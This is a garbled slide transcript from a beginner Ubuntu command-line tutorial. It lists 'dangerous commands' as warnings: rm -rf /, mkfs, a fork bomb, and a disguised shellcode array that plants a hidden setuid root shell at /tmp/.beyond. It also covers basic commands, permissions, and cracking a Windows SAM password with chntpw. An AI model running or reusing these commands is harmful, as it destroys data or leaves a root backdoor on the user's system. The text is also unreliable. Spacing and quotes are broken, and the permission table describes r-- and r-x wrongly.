numoss 4th week - commandline tutorial
TRANSCRIPT
PRIMAYOGILOVINILTRA
N U MO S S>>>
BasicUbuntuCommandLine
DangerousCommand
1. # rm -rf /Delete folder root2. $ mkfs.ext3 /dev/sdaFormat Partition3. $ forkbomb :(){:|:&};:Instruct the system to execute various processes tohang. Will usually result in loss of data because thecomputer had to be turned off forcibly.
DangerousCommand
4. Command with hexa integerchar esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"\\xff\xff\xff\xff\x8\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
DangerousCommand
5. /devThis comand will overwrite the file systemdesignated device and can eventually cause loss ofdata that. Mounting on the folder / dev (folder / devcommonly used to place a description of hardwareand hard drive)6. Execute some file shell (.sh)7. Move home folder to /dev/null mv /home/home
directory/* /dev/null
BasicCommand
$ apt-get (install package data)$ cat (concatenate files and print on the standard output)$ mv (move)$ cd (change directory)$ passwd (change password)$ ping$ rm (remove)
BasicCommand
$ cp (copy)$ reboot$ history$ ls (list directory contents)$ make (compile) | $ ./filename.extension$ pwd (print current directory) | $ whoami$ wget (network downloader)$ mkdir (make directory)
Linux Permission
r (read ) = Read 4
w (write) = Write 2
x (exec) = Execute 1
(0) = can't get access
— 0 can't be access
r– 4 read & write (can ed ited )
rw- 6 read & write (can ed ited )
rwx 7 read , write, execute (d ijalankan)
r-x 5 read , write but can't be ed ited
–x 1 only execute
Chmod
LinuxPermission
# chattr + i filenam e
Unlock:
# chattr i nam afile
Chattr
ChangePasswordWindows
> Install chntp : $ sud o apt-get install chntp
> Mount your “Wind ows installed ” d evice
$ sud o m ount /d ev/sd a1 /m ed ia/WIND O WS
> Goto your Wind ows system configuration fold er
$ cd /m ed ia/WIND O WS/WIND O WS/system 32/config/
C racking the SAM file :
$ chntpw SAM